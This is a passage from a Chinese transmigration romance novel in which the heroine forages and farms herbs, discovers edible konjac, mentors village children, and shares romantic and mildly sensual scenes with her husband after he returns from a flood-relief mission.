这年头挣钱不容易,他们作为军属虽然不愁饿死,想要过宽裕一点也难,尤其像他们家孩子多的。谁家不把挣钱的本事藏得严严实实的,偏觅婉婉大大方方地就带着几个孩子去了。
钱得慢慢挣,觅婉婉今天不打算再上山,下午休息
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一下,明日再上山找草药卖钱。
中午随便弄了个蒲公英玉米面团子,配上昨天晚上剩下的小鸡炖蘑菇汤,正好补充一下上山消耗的能量。
吃过午饭后,觅婉婉回到房间睡午觉,却看见桌上放了几张钱和一张纸条。
钱有三十块,纸条上写着四个大字:上交工资。
笔力刚劲,字迹气势磅礴,觅婉婉捧着纸条露出笑容。
她拿出铁皮盒子,把今天挣的七块钱和谢宴清上交的三十块放进盒子里。
买完房之后觅婉婉的存款就清空了,还欠着六千元的巨款。盒子里攒了九十八块,觅婉婉有信心,很快就能把买房欠的六千元还上了。
她本来是想早点搬到镇上的小楼去的,但经历昨天的事情后,觅婉婉本能地觉得现在镇上不太平,加上天灾,暂时住在家属院反而安全些。
搬家的事情暂时搁浅,先集中精力搞钱。
卷烟厂的东边的后山腰,一座一座的小帐篷搭在这里,季萍正在帐篷中烧热水。
“姐,姐,我今天挣钱了。”季白跑了一路,早已经是气喘吁吁、满头大汗,手上攥着的纸币也有点湿透了。
季萍先是惊讶了一瞬,细细问过之后,红了眼眶,“白白真厉害,明天姐跟你一起去。”
晚上吃饭的时候,觅婉婉跟谢宴清提起季白姐弟的事,“原先季绍军虽然不管用,但他好歹算是卷烟厂的工人,能分到宿舍,季家两姐弟好歹有个家,现在这两个小的就有点麻烦。”
谢宴清:“卷烟厂的工作是一代一代传下来的,季家好几代都在卷烟厂工作。如果有人能帮他们争取,季白过些年可以接季绍军的班,他们姐弟两就不会没地方去了。”
“对呀,我怎么没想到,回头我去找刘老,看他能不能帮季家姐弟一番。”觅婉婉眼中闪着光,眼睛弯成新月状。
谢宴清看着看着,突然问:“你对谁都这么好吗?”
觅婉婉没反应过来,“啊”了一声,“我只是觉得那两小孩太可怜了,想拉他们一把。”
“嗯。”谢宴清闷闷地回了一声。
昨天的兔子只做了一半,觅婉婉今天用剩下的半只做了尖椒兔,她吃得欢,谢宴清却不太能吃辣。
如今吃下去,一贯冷冽的薄唇红红的,眼睛也染上少许鲜红,让谢宴清整个人看起来...非常美丽。
可他似乎有点不高兴,美人不高兴也是极其动人的。
觅婉婉双手撑着下巴,从谢宴清闷闷的声音中品出味道来了:他不会是因为自己今天光想着别人的事情,没怎么顾上他,不开心了吧?
为了确认自己的猜想,觅婉婉接着又说起了张家那两个孩子。
谢宴清夹起一块兔肉放进嘴里,用力咬了一下筷子,轻轻地咀嚼,薄唇紧紧地抿着,鲜红的泡椒汁残留在唇上,如同渲染了极艳丽的唇脂。
“噗!”觅婉婉越看他的神色越觉得可爱,终于忍不住笑了起来。
谢宴清放下碗筷,抬起头,懵懂地看着她,不明白觅婉婉在笑什么。
觅婉婉起身,飞快地在那红唇上吻了一下,临了,顺便舔了一口酱汁。
“我对你最好。”觅婉婉目光盈盈地看着他说。
30. 读书
不知道是谁先开始的,两个人吻得难舍难分,唇舌纠缠一番后,谢宴清一把抱起觅婉婉,往房间走去。
他的脚步凌乱,呼吸急促,放下觅婉婉的动作却格外温柔。谢宴清盯着娇怯动人的妻子,眼中火花四溅,像是要一口吃了她,却迟迟没有动作。
觅婉婉红着脸揽过他的脖子,朝着他的侧脸,送了一个轻轻地吻。
这个吻彻底击溃谢宴清的防线,他急切地吻着觅婉婉,呼吸凌乱间,手也伸进了觅婉婉的衣服里面......
就在觅婉婉以为他们今天晚上要彻底变成真夫妻时,谢宴清却突然停了下来,他抱着觅婉婉,情绪似乎很不对。
“婉婉,你会有孩子吗?”
这话问得觅婉婉丈二和尚摸不着头脑,“应该会吧。”毕竟现在避孕套不普及,没有什么很好的避孕措施。
前世生理知识普及地很到位,觅婉婉并不太担心怀孕的事,相爱的人有了爱情结晶,是件美好的事情。
谢宴清却变了脸色,从床上起身,“太早了。”
他是担心自己的身体太早生孩子受不了?
“那我们就晚一些,等我的身体再长结实一些。”觅婉婉笑了一下,毫不介怀地对谢宴清说。
她这副身体,到底还是娇弱了些,更别说前两年缺粮食,亏损地厉害。这个时候要孩子,对觅婉婉是很不利的。
“我没有嫌你娇弱,是我没做好准备。”谢宴清坐在床上,垂着头不知在想什么。
没想到他会说出这样的话,觅婉婉一时没有反应过来。
这跟书中描述的反派大佬不一样,跟平时的谢宴清更不一样。即便谢宴清现在尚且年轻,不具备书中后期所具备的杀伐决断、狠厉无情,也是从不示弱的。
一瞬间,觅婉婉清楚地看见,谢宴清铁板一般的外壳裂开,露出里面藏着的,如普通人别无二致的迷茫和脆弱。
对自己是否能承担做父亲的责任的迷茫,害怕失去觅婉婉的脆弱。
“那我们就再准备一下,一定是因为我们发展太快了,认识没几天就结婚,没几个月就生娃,难怪你没做好准备。”觅婉婉一本正经地忽悠他。
“正常的发展速度是什么?”谢宴清眼中露出懵懂。
觅婉婉看他这个样子,差点忍不住笑,原书中的阴鸷大反派现在还是个纯情的小男生,太可爱啦。
“正常当然是认识之后谈一段时间的恋爱,两个人一起去约会呀、看电影、旅游什么的,确定心意之后见家长,准备结婚等等。”
谢宴清听了,认真地点点头,“确实太快了,等我这次任务回来,我们就去看电影。”
“好呀,你这次任务要出去很久?”觅婉婉发现谢宴清在感情这一块,懵懂归懵懂,可是只要自己略微一提点,他行动力就极强。
谢宴清:“玉江下游的一个村庄被洪水淹了,我们要去抗洪。”
觅婉婉点点头,表示知道。
可过了好一会儿,谢宴清还是没有从床上下去的意思,觅婉婉只好问他:“你不出去睡觉吗?”
谢宴清伸手紧紧地抱住她,头埋在觅婉婉光洁白皙的脖颈上,“我今晚要跟你说。”
他温热的呼吸洒在脖子上,觅婉婉控制不住地心跳加快,含含糊糊地答应了。
谢宴清的身体像个暖炉,散发着源源不断的热气,觅婉婉抱着他,很快就沉沉地睡过去。
早上醒来的时候,谢宴清已经不在了,觅婉婉看着安静的屋子,心里有点空荡荡的,总觉得少了些什么。
等她打开院门,就发现了来的孩子又多了两个,张晓兰和季萍。
“你们也来啦,等我一下哦,我再拿个篮子。”觅婉婉笑着跟他们打了声招呼,每个孩子背后都背了一个跟他们身量差不多的背篓,手上提着个篮子。
唯有季萍身上的背篓是跟觅婉婉一般大的,比她的身板还要大两圈,觅婉婉看在眼里,没有出声,照常带他们上了山。
天气已经开始热起来了,觅婉婉带着五个孩子穿梭在山间小径中,蝉鸣声在寂静的山林中显得越发响亮。
山中野菜是最不缺的,很快,一大五小的篮子里就装满了野菜,有蒲公英、荠菜、鸭脚板等,够吃好几顿了。
最高兴的要数季萍,她拉住觅婉婉的袖子说:“婉婉姐姐,谢谢你。”
“不用谢,”觅婉婉摸了摸小姑娘的头,“我带你上山,可野菜是你自己用双手采的。”
季萍:“可带路的人最值得感谢。”
觅婉婉笑笑不说话,仍旧带着他们去割金银花。
经过几天的采摘,一大片金银花已经所剩无几了,觅婉婉今天来之前就想好了,虽说靠山吃山,但也不能只靠山。
与其每天山中四处寻找草药,不如自己开一块山地移植草药种植。磨盘镇四周全是山,连绵上千宫里,不论是种多少都是够的。
“你们几个听我说,我打算在山上开地种金银花,但是等卷烟厂重新建起来,我会没有时间搭理药草地,你们几个有没有兴趣帮我搭理呀?”觅婉婉对五个孩子说。
“有!”张冠丰最先举手。
“我也可以。”季白跟着举起手,乖乖地看着觅婉婉。
剩下的三个女孩子也表示愿意帮她看着金银花的,尤其是季萍,听到觅婉婉说会给他们工钱,恨不得立马去干活。
“先说好了,这活只能在学习之余干,你们不能为了挣钱放弃读书。”觅婉婉是打着拉这几个孩子背后的家庭一把,加上他们心性确实很不错,才选了他们帮忙。
可若是他们小小年纪一心跟着自己挣钱,不读书了,这就不是帮他们,反而害了他们了。
觅婉婉前世经过二十多年的教育,原身也读到高中,她已经过了学习的阶段,进入挣钱的阶段,这几个孩子不是。
“学校老师都不上课,学生也天天搞运动,我们为什么要学习?”张冠丰只上过几天学,就被学校的血雨腥风吓得不敢再去。
张家两姐妹倒是上过几年学,也是因为同样的原因,一直呆在家中。
至于季萍和季白,想上,没钱。
其实大部分的学校都已经恢复正常教学,只是磨盘镇地处边境,偏远又闭塞,恢复地缓慢一些。
觅婉婉:“这只是暂时的情况,再过几个月,学校就会恢复成学生学习的样子。到时候,你们都要去上学知道吗?”<
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“外面的世界很大,你们上了学,就能上大学,上了大学,便能看见外边的世界。”
说完,觅婉婉觉得大学对现在他们来说,可能是一个模糊的大饼,又补充说:“好像我,就是因为读了书,知道金银花能入药,这才能带着你们挣钱呀。”
清清楚楚摆在面前的利益比模糊的大饼有驱动力多了,张冠丰立马跳出来说:“读书!等学校正常开学了我就去上学!”
昨天他跟二姐挣了钱,妈妈买了红烧肉奖励他们,这可是过年才能吃到的红烧肉。此时张冠丰下定决心,一定要好好上学,学习能吃到肉!
季白和季萍眼中都亮晶晶的,充满着对读书的向往。觅婉婉想起来,第一次见到季白,就是在镇上书店,这姐弟两应该是很喜欢读书。
只是很快,季萍眼中的光又暗淡下来,她问觅婉婉:“我能不能整天帮你干活,我一定会好好干的。”
觅婉婉蹲下身,认真地对季萍说:“萍萍,你一定要读书啊。”
季萍的眼底闪过纠结,季白拉住她的手说:“姐姐,你也去读书,我们一起去。我也能干活挣钱的,你不要牺牲自己。”
八岁的小男孩,竟然能这么快察觉季萍的意图,着实让觅婉婉意外。
“好。”季萍牵住季白的手,两人坚定地朝山下走去。
觅婉婉看着两个单薄坚定的背影,开始回忆原书的剧情,她直觉这两个孩子不同寻常,应该在书里出现过。
加上他们认识白霜儿,和女主有交集,觅婉婉觉得概率很大。
下山后,六个人分别找白霜儿换了钱,觅婉婉得了五块五毛,季萍兄妹两也买了五块钱,张家的三姐弟一起则卖了六块七毛。
“真是多亏你们去山上采的这些金银花了,公社的医院挤满了人,床不够,人手和药也不够,有了这些金银花,好歹能多治疗一些人。”白霜儿感慨地对觅婉婉说。
觅婉婉:“你们坚持岗位,辛苦了。”
天灾过后,容易爆发疫情,便极考验医务人员,病人一多,各种都缺,他们却必须坚守,无论如何不能眼睁睁放任病人不管。
“不辛苦,说来,婉婉,谢谢你之前安慰我。如今我做了医生才发现,之前发生的种种,确实不算什么。”白霜儿握住觅婉婉的手,眼中透着坚毅。
觅婉婉知道,她已经走进了另外一个全新的世界,里面不再全是情爱纠葛,而是生老病死,或是,白霜儿的梦想。
五个孩子拿了钱开开心心地回家了,觅婉婉等他们走后问白霜儿:“季萍和季白姐弟两,你怎么认识的?”
“我之前总去镇上卖蘑菇什么的,他们总是去镇上的书店看书,一来二去就熟悉了,你问这个做什么?”白霜儿不解道。
觅婉婉:“没什么,随便问问。”
回到家后,觅婉婉终于想起来书中关于季萍和季白两个人的剧情。
那是在二十年后,白霜儿人到中年,偶然回到磨盘镇,看到以前的书店竟然还在,记得曾经在这遇到过一个很特别的男孩。
她拿起书店中的报纸,恰好看见报纸中登录着一条重大新闻:“从天才到恶魔:昔日神童为何举起屠刀?”
31. 归来
报纸中详细地讲述了季白十岁就跳级到初中学习,两年后又跳级上了高中,考上了全国排名第一的清大。
可这样一名天才儿童却在二十年后杀了抚养自己长大的姐夫一家人,甚至将他们全部肢解了。
姐姐季萍接受不了这样的打击,喝农药自杀了。季白在安葬完姐姐后来到公安局自首,对自己杀人的事实供认不讳。
然而,无论是警察还是记者问他杀人的原因时,季白却闭口不谈。他的沉默更加勾引了人们的好奇心,各大报纸纷纷登录文章,分析季白杀人的原因。
白霜儿无论如何无法想象,当年那个乖巧爱读书的小男孩,会成为一个杀人分尸的变态恶魔。
回忆完这段书中的剧情后,觅婉婉的胸口仿佛被一块巨石压住,呼吸都变得困难。
那个今天还跟着自己上山摘野菜,割金银花挣钱的小男孩,那个不愿意接受姐姐牺牲、执拗地让姐姐跟自己一起读书的季白。
在二十年后,会变成一个杀人恶魔。而他坚韧倔强的姐姐,因此自杀。
觅婉婉无法接受季家姐弟两这样的结局,她一定要做些什么,改变他们的命运。
金银花可以通过扦插的方式进行繁殖,觅婉婉找了好几座山头,终于找到土质为砂土的土壤,她的金银花就种在这里。
为了保险起见,觅婉婉带着五个孩子捡山中的腐叶混在土中,让金银花更容易生长。
吕花听说觅婉婉要种植金银花,特意过来帮忙,“婉婉你带着孩子去山上捡叶子,我在这帮你处理枝条。”
金银花枝条要选10-15厘米,保留2-3个节位的藤条,同时保证切口平整,下端的叶片和花朵要去掉,留下上端的1-2个叶片。①
她一个人确实忙不过来,觅婉婉就没跟吕花客气:“那就谢谢婶子了,中午到我家吃饭啊。”
吕花:“行啊,我今天早上去镇上买了豆腐,回头我从家里拿条咸鱼过去,做咸鱼炖豆腐,再从院子里摘点茄子青菜过来。”
这是打算跟自己搭桌吃饭的意思,觅婉婉笑笑,没有再客气,总归后边是要给他们结工钱的,来日方长。
往更深的山里走一走,地上到处都是腐叶,觅婉婉跟五个孩子很快就捡工了。
转过一处陡坡的时候,觅婉婉的脚步突然顿住了。前方的灌木丛中,一株奇特的植物吸引了觅婉婉的目光。
它约莫半人高,茎秆粗壮如孩童的手臂,呈现出一种不自然的紫褐色,表面布满了暗色的斑点,像是某种爬行动物的鳞片。茎秆顶端撑开一把巨大的伞状叶片,边缘分裂成不规则的羽状,在微风中轻轻摇曳。
觅婉婉小心翼翼地拨开周围的杂草,发现它的根部膨大成一个不规则的球茎,表面粗糙,布满了一圈圈环状的纹路。凑近时,一股若有若无的腐臭味钻入鼻腔,觅婉婉却开心地笑起来,是魔芋。
她拿出背篓中的铁锹,砍掉魔芋的茎叶,挖出深埋在地下的魔芋块茎。
“婉婉姐姐,这是什么?”五个小孩看她挖出来一大块丑丑的东西,好奇地问。
季萍:“是药材吗?”
觅婉婉:“这个是魔芋块茎,可以用来做魔芋,魔芋是一种很好吃的食物呢。”
“竟然可以吃?”样子丑陋、闻起来又臭臭的,季白难以置信。
“婉婉姐姐说能吃,就一定能吃。”张冠丰对觅婉婉有着盲目的崇拜,笃定道,张家的两姐妹也点点头。
等他们下了山,吕花看见觅婉婉背篓里的魔芋块茎,又听说觅婉婉要拿来吃的时候,大惊失色:“这个不能吃,有毒的!”
魔芋的汁液含有草酸钙晶体,可能引起皮肤瘙痒或过敏,想必这就是吕婶子认为魔芋块茎有毒的原因,觅婉婉一一跟吕花说了。“这魔芋块茎还得加工一下才能吃,等做好了你们都来我家吃。”
对于有毒的魔芋可以吃这件事情,吕花还没有完全接受,将信将疑地点点头。
因为下午还要干活,午饭很简单,用鸡蛋和蒲公英一起炒,凉拌鸭脚板,咸鱼炖豆腐。即便如此,在这缺衣少食的年代,也是难得的好饭好菜了,几个人吃的很满足。
尤其是五个孩子,吃饱饭之后干活尤为卖力,勤勤恳恳地帮觅婉婉翻地。
金银花作为藤类植物,繁殖能力很强,种上两亩地,等过段时间就能收获很多。觅婉婉打算先种两亩地看看情况,后面再扩大生产。
同时觅婉婉打算趁现在有时间,多去山上转转,找找其他更能卖出价钱的草药。金银花毕竟太常见了,种植简单繁殖能力强,后期卖不上太高的价格。
他们一起弄了两天才把两亩地弄好,觅婉婉给了他们一人一块钱的工钱,吕花却怎么都不肯收。
“你给几个孩子就算了,我这两天的工钱是怎么都不会收的。亏得你带他们上山,这些天他们也挣了好些钱,我给你帮忙,就当婶子谢谢你了。”
觅婉婉没有勉强,只笑说:“以后我还要种好多呢,婶子你以后来可要先跟我说好工钱,否则,我可不敢用你。不然,让家属院里的人知道了,要戳我脊梁骨的。”
要是能有份活干,吕花自然是乐意的,“那感情好啊,我们都跟着你干。”
收拾好金银花后,觅婉婉就开始处理前两天弄回来的魔芋块茎。
将新鲜的魔芋块茎放入清水中,用刷子仔细刷洗表面的泥土和杂质。用刀削去块茎外层的粗糙表皮,露出内部乳白色的肉质部分。
去皮后的魔芋块茎切成小块或薄片,方便后续研磨。切好的魔芋块放入清水中浸泡,加入少许盐,去除部分涩味和杂质。浸泡后的魔芋块放入石磨中,加入适量清水,研磨成细腻的浆状。
研磨好的魔芋浆倒入纱布或细筛中,过滤掉粗纤维和残渣。过滤后的浆液静置1-2小时,让魔芋胶充分沉淀,分离出上层的清水。
将沉淀后的魔芋胶倒入锅中,加入适量清水,用中小火加热。边加热边搅拌,直到浆液变得浓稠并开始凝固。煮好的魔芋浆倒入红色牡丹花的搪瓷盆中,静置冷却,使其完全凝固成块。②
前世的魔芋是减肥圣品,因为它口感Q弹,低热量且富含膳食纤维。其中最受欢迎的,要数香辣魔芋了。
觅婉婉准备好青红小米椒、蒜末等调料,香辣魔芋的做法简单,将魔芋焯水后跟调料一起翻炒,一道香辣魔芋就做成了。
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之前晒的木耳已经可以食用了,刚来这里时种下的黄瓜苗也结果了。觅婉婉摘了两根黄瓜,跟木耳一起做了道凉拌菜。
一大盆的香辣魔芋,觅婉婉分成了四份,都用搪瓷罐装着,一份留着自己吃,另一份留给谢宴清。其他的两份,则是给季家和吕婶子他们家的。
他们收到觅婉婉做的香辣魔芋后,从开始的不敢尝试,到大快朵颐,接着,两家人直接自己上山去挖了两大筐魔芋来。
“婉婉啊,这魔芋怎么做啊?”吕花带着一群孩子,尴尬地来问觅婉婉。
觅婉婉没想到他们动作这么快,一一将魔芋的做法告诉他们了。“跟做豆腐有点像,不过比做豆腐简单。你们要是喜欢吃,也可以拿去种,种法跟种红薯是一样的,产量也高。”
吕花:“好嘞,我这就回去弄。”
这魔芋做成香辣口味,不仅好吃,还能当作粮食,关键的时候,可是能救命的。
觅婉婉不知道地是,吕花得到魔芋的做法后,又告诉了其他人,一传十十传百,大家都去山上挖魔芋吃了。
原本因为天灾,粮食稀少,大家精神都很紧绷,如今知道这魔芋能吃,都上山挖了弄来吃。不少人还跟红薯一块种了,准备等过几个月收获一波粮食。
有了新事物,又种下希望,大家本来颓靡的精神好了不少,而觅婉婉这个名字也被很多人记在了心里。
大山里的东西,虽然不单独属于某一个人,可人性总是自私的。人家发现了好东西,藏着掖着不告诉别人也正常,能分享的都是好人。
觅婉婉近些天来依旧在山里转悠着,倒是让她找着了两样极为中意的草药,三七和重楼,这两样草药是制作白药的重要原料。
尤其是重楼,俗称七叶一枝花,只适合在此地种植,七年才能成熟。即便是在种植技术已经非常完善的前世,一斤的重楼也能卖到两三千块钱。
这个发现让觅婉婉非常的兴奋,她决定就把金银花、三七和重楼种好,有这三样草药,足够她小富即安了。
五个孩子最近也遇到了大喜事,他们放的圈套,终于逮着了一只兔子!
觅婉婉带着他们来到祝毅的家里卖兔子,卖了十元钱。
“嫂子,你上次说的话我听进去了,我在后山找了个合适的地方养猪。其他的倒是能解决,就是这猪崽子,难找啊。”难得找到机会,祝毅跟她抱怨说。
如今这个情况,想找猪崽子确实难,尤其是祝毅需要的猪崽数量不少。
“野猪崽是不是可以?”觅婉婉沉思了一会儿,提议道。
祝毅眼睛一亮,很快又暗淡下去,“我在山上转了好些年了,野猪碰到过,野猪崽啊,难找。对了,谢哥还没回来吗?”
觅婉婉:“没呢,去了一个月了,想必是任务没完成吧。”
他不提还好,祝毅提到谢宴清,觅婉婉回到家,思念就如同潮水般涌来。
觅婉婉躺在院子里的竹制躺椅上,深深叹了口气:“早知道去这么久,就应该先生米煮成熟饭的!”
“你想怎么个煮法?”谢宴清大变活人一般站在院子里,目光火热地盯着觅婉婉,嘴角噙着笑意。
32. 洞房
“谢宴清!”
觅婉婉看见院子中的人,一跃而起,几步扑进对方的怀中。
两人紧紧相拥,谢宴清一把将人抱起,进入房间之后,肆无忌惮地开始接吻。
气息凌乱间,谢宴清一直在问觅婉婉:“你真的想生米煮成熟饭?”
觅婉婉被他直白的话羞得不行,轻轻锤他的胸膛,“你走之前,我就愿意了。”
谢宴清放开她,认真端详了她好一会儿,“你等我。”
说完,就又出了门,弄得觅婉婉有点不高兴,哪有人刚回家又出门的。
这点不高兴很快就消失不见,觅婉婉去镇上买了两根排骨,又从院子里的地上拔了两根萝卜起来,跟魔芋一起炖汤。
晚饭快做好的时候,谢宴清回来了,手里拿着一包东西,用油纸包着,不知道是什么。
“谢宴清,快来尝尝我做的魔芋。”觅婉婉好奇地看了几眼,就忙着招呼他来品尝自己做的菜。
她拿出之前特意留下的香辣魔芋,随便炒了个小白菜,两个人就吃起晚餐来。
吃饭的时候,觅婉婉跟谢宴清说着自己这段时间做的事情,包括怎么发现的魔芋、三七和重楼,又将自己种植草药的事情细细和谢宴清说了。
她也不知道怎么的,恨不得把自己一个月以来所有的事情,无论大小,全都告诉谢宴清。
以致于晚饭结束,觅婉婉意犹未尽,“还有好多事情没有讲完呢。”
谢宴清忍不住亲了她一口,“我放三天假,有很多的时间。现在,我们先去洗澡吧。”
听到要洗澡,觅婉婉的脸立马红成了小番茄,谢宴清的心思,昭然若揭。
她固然愿意,到底是第一次做这种事情,在浴室磨蹭了半天才出来。
进了房间,映入眼帘的就是谢宴清白花花的上半身,他上面竟然没有穿衣服,只是随便套了条裤子,就那样坐在床上等着觅婉婉。
宽阔的肩膀像两座山峦,肌肉在皮肤下隆起,随着呼吸微微起伏。汗水顺着他的脊背滑落,在腰际留下一道微亮的水痕。
腰腹间的肌肉紧致而流畅,人鱼线在裤腰边缘若隐若现,像是海浪冲刷出的沙痕。
觅婉婉盯着他的腰线看,屏住了呼吸,没想到谢宴清藏在衣服下的,是这样一副好身材。
她的双颊倏然泛起一层薄红,像是白瓷上晕开的胭脂,睫毛低垂着不敢抬眼。
“婉婉。”见她站在门口不动了,谢宴清轻声唤了她一句,声音暗沉低哑,酝酿着即将到来的风暴。
听见谢宴清唤自己的名字,觅婉婉慌忙看过去,眼睛扫到桌边的燃着的红烛,后知后觉地反应过来,原来谢宴清是急着去买红烛了呀。
没想到他还挺有仪式感的,觅婉婉心中的慌张大减,她朝谢宴清走过去,在床边坐下,“我刚来的时候,你给我的买的蜡烛就是这样的,你是不是,那时就存了这种心思呀?”
这下轮到谢宴清慌乱了,他扭过头,轻轻地“嗯”了一句,露出红的几乎透明的左耳尖,轻轻颤动着。
鬼使神差地,觅婉婉凑上前,吻了那只耳尖一下。谢宴清的反应很大,几乎是饿虎扑食一般将觅婉婉扑倒在床上,一边亲吻,一边手忙脚乱地去剥她的衣服。
感觉到身上的凉意,觅婉婉抬手捂住眼睛,“谢宴清,蜡烛。”
谢宴清动作不停,喘息着在她耳边道:“洞房花烛夜,蜡烛是不能灭的,亮得越久越美满。”
觅婉婉听了,羞得脚指甲都泛红蜷缩起来,却更激得身上的男人对她为所欲为。
外面的天光完全亮起来的时候,屋里的烛光仍旧没有灭,觅婉婉是被吻醒的。
昨天晚上她被翻来覆去,这样那样,最后终于撑不住,昏了过去。
感受到谢宴清依旧火热的身体,觅婉婉害怕地推开他,“大白天的,干嘛呢。”
谢宴清缠着她,不肯放手:“昨夜也看得很清楚。”
昨晚的情形历历在目,觅婉婉觉得自己简直没脸见人了,抗拒地更加厉害,“不来了不来了。”
谢宴清就就轻轻地吻她,说话也温柔地能滴出水来:“我就亲一会儿,什么也不干。”
事实证明,男人在床上的话是不能相信的。觅婉婉相信他的后果就是又被折腾了一上午,睡过去之前,觅婉婉心里只有一个念头,开荤的男人真可怕,开过荤的反派大佬格外可怕。
午饭觅婉婉是在床上吃的,谢宴清做了鸡汤小馄饨,觅婉婉吃了之后又睡了一下午。
好不容易补足了觉,谢宴清晚上哄几句,觅婉婉就像被美色迷住的昏君一样,又放纵了谢谢宴清一整晚。
第二天起来的时候,觅婉婉扶着腰,痛定思痛,坚决不能再被谢宴清的美色所迷惑,否则,她这副身子骨就要散架了。
为了防止自己再被迷惑,晚上的时候,觅婉婉把院子里的躺椅搬进客厅,“我今天想在躺椅上睡,你先去房间睡吧。”
谢宴清沉默了一会儿,走进房间,觅婉婉放下心来。
谁知,过了一会儿,谢宴清又出来了,不仅出来了,还拿着两根蜡烛,不过,此时觅婉婉已经顾不上蜡烛了。
只见谢宴清斜倚在门框上,身上穿了一件黑色纱裙,纱衣松松垮垮地披在身上,衣料薄如蝉翼,隐约透出冷白的肌肤。
“婉婉,我帮你把蜡烛拿出来。”谢宴清走到她身边,点上蜡烛放在桌上。
纱衣的领口微微滑落,露出一截精致的锁骨,像是无意间展露的风景,却让人移不开眼。
“你冷不冷?”谢宴清问,烛光将他的侧脸勾勒得深邃而立体,眉骨投下一片阴影,鼻梁高挺如峰,唇角微微上扬,带着一丝若有若无的笑意。
觅婉婉目不转睛地看着他,纱衣下的身形修长而匀称,肩线流畅,腰肢纤细,肌肉的线条在薄纱下若隐若现,仿佛一幅未完成的水墨画。非常没出息地咽了一口口水:“有点。”
谢宴清的眼眸深邃,眼尾微微上挑,带着一丝不经意的慵懒与挑逗,仿佛在无声地邀请,“我来帮你暖暖好不好?”
觅婉婉被他迷得晕头转向,以致于谢宴清覆身上来的时候,完全忘了反抗。
衣服被扒光光,两只腿被谢宴清抓在手里,男人灼热的视线死死盯着她的时候,觅婉婉终于反应过来这样的姿势
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有多羞耻。
“谢宴清,你犯规,呜呜呜~”觅婉婉恨恨地咬了一口谢宴清充满力量的肩膀,呜咽着说。
然而,现在反悔已经来不及了,男人显然已经听不进她的话,只顾着肆意与她纠缠。
经过这一晚,觅婉婉再也无法直视那张躺椅,甚至想把它丢了。
谢宴清面无表情地擦拭着躺椅,好像完全不记得昨晚在这张躺椅上发生了什么。
“婉婉。”谢宴清朝她走过来。
觅婉婉本能地往后退,警惕地打量着他,“你干什么,你不要乱来啊。”
“我...我那里都肿了。”觅婉婉红着脸,闭上眼睛生无可恋地说。
谢宴清愣了一下,知道是自己昨两天闹得太过了,温声道:“我是说,我想上山一趟,你想吃什么肉,我给你打。”
觅婉婉睁开眼睛,更觉得无地自容,都怪谢宴清,把她的脑子都弄的不干净了。
“我也想上山去走走。”她想去山上看看能不能找到更多的重楼,运气好的话,说不定很快就能把买房借的钱还上。
谢宴清点点头,只是在出门的时候悄声在她耳边说:“不是肿了吗?”
觅婉婉手握成拳,轻轻地打了他的胸膛两下,羞红着脸,气呼呼地说:“还不是你!”
“还不是...你勾引我。”最后一句话,觅婉婉说得小声有没有底气。
谢宴清听了,却扬起一个笑容,在阳光的照耀下,能闪瞎别人的眼,起码觅婉婉被他的美貌闪瞎了,很快就忘了这人的恶劣行径。
“呦,小两口久别胜新婚呐,这是要上山?”张晓山在门口看见他们小夫妻浓情蜜意的,打趣道。
两人点点头,吕花在里面听到人要上山,赶忙出来,却在看见觅婉婉脖颈和锁骨处若隐若现的红痕时,情不自禁地往后退了几步。
觅婉婉哪里看不出来,脸上又是红霞乱飞。谢宴清倒是没有什么变态的嗜好,故意在觅婉婉身上留下什么痕迹,好让别人看到。
只是情难自禁,谢宴清闹得次数又多,难免留下痕迹。
“婉婉姐姐,你要上山,我们也去!”张冠丰听到消息,人还没跑到院子,声音就已经传出来。
吕花一把拦住他们:“今天你们婉婉姐姐不带你们。”
张晓兰和张晓雪不明所以,却没有多说,张冠丰不服道:“为什么?婉婉姐姐每次都带我们的。”
“没有为什么,回屋里去。”张晓山轻敲了一下他的头道。
觅婉婉再也站不住脚,背着背篓赶紧往山上跑。
谢宴清面上没什么变化,耳尖却微微发红,紧跟着觅婉婉走。
上了山之后,四周寂静,觅婉婉脸上地温度才降下来些。
只是很快,觅婉婉又被追上来谢宴清按在树上亲。
不是,这人怎么回事啊!
觅婉婉又羞又恼,却推不开身前如大山一般的男人,只能逐渐沉沦在对方或温柔或急切的吻中。
“咔!”
不远处传来树枝断裂的声音,觅婉婉立马清醒过来,侧头躲开谢宴清的唇。
“什么声音?”
33. 山谷
距离他们不远处的灌木丛,丛中似乎有什么东西穿过,叶片在微微颤动,发出“沙沙”的声音。
除此之外,还有弱弱的“哼哼”声,在静谧的山林中格外侵袭。
“那是...呜呜...”觅婉婉话没说完,就被谢宴清掰过头,继续接吻。
不是来人了,觅婉婉放下心来,轻易就沉溺于唇舌交缠的快乐中。
几分钟后,谢宴清才放过她,在她耳边道:“我有点控制不住。”
觅婉婉被亲得腿软,双手攀着他的肩膀,面色潮红,努力平稳呼吸,“你就不能收着点吗?”
“嗤~”耳边传来一声轻笑,谢宴清的声音柔和地像能滴出水来,“好,我努力。”
眼前的耳垂泛着淡淡的粉红,如同初绽的桃花,诱人采撷。谢宴清放纵自己的心意,采下了诱人的桃花,用牙齿轻轻咬着,似在品尝娇嫩的花朵。
“谢...谢宴清!”最要命的地方被掣肘,觅婉婉又羞又怒,声音却是发颤的。双腿更是软的厉害,整个人几乎挂在他身上。
谢宴清终于肯放过她,握着她的手说:“刚才那个动静,像野猪发出来的,我想去看看能不能把它打下来,你要跟我一起吗?”
猎杀野猪的场面,对于十几岁的小姑娘来说,残忍、血腥。
觅婉婉却很高兴,腿都不软了,立马拉着他往之前发出动静的灌木丛走。
“你怎么不早说呀,”觅婉婉嗔怪道:“有野猪你都不追,净顾着......”
“净顾着什么?”谢宴清故意问她。
觅婉婉双颊上残留着淡淡的红晕,轻轻瞪了他一眼。
“你出任务的这一个多月,我在山里搜罗各种能卖钱的草药,挣了一百多呢,咱们现在存款有两百三十八块钱啦。”觅婉婉挽着谢宴清的胳膊,数着她存钱罐里的钱,“要还上六千元的房款还差很多呢,今天要是能打到一头野猪,又可以增添一点收益。”
接着,觅婉婉将自己这段时间种植药材的事情跟谢宴清细细地说了。她不是个细心的性子,即便是前世最亲近的姥姥和姥爷,觅婉婉也没有事事都跟他们说。
可她就是想跟谢宴清说这些,说所有的事情,发生了的,没有发生的,想做的,没有做的,打算做的。
她想把所有的东西都分享给谢宴清,觅婉婉有这个冲动,却深深地知道,也许她永远不能将穿书的事情告诉谢宴清。
想到这里,觅婉婉的兴奋劲就消散了不少。
“你做的这些事情,好像比你去上班挣的更多,为什么还要去溪城卷烟厂上班?”谢宴清很快抓住重点,灵魂发问。
觅婉婉:“......我觉得人还是要有份工作。”
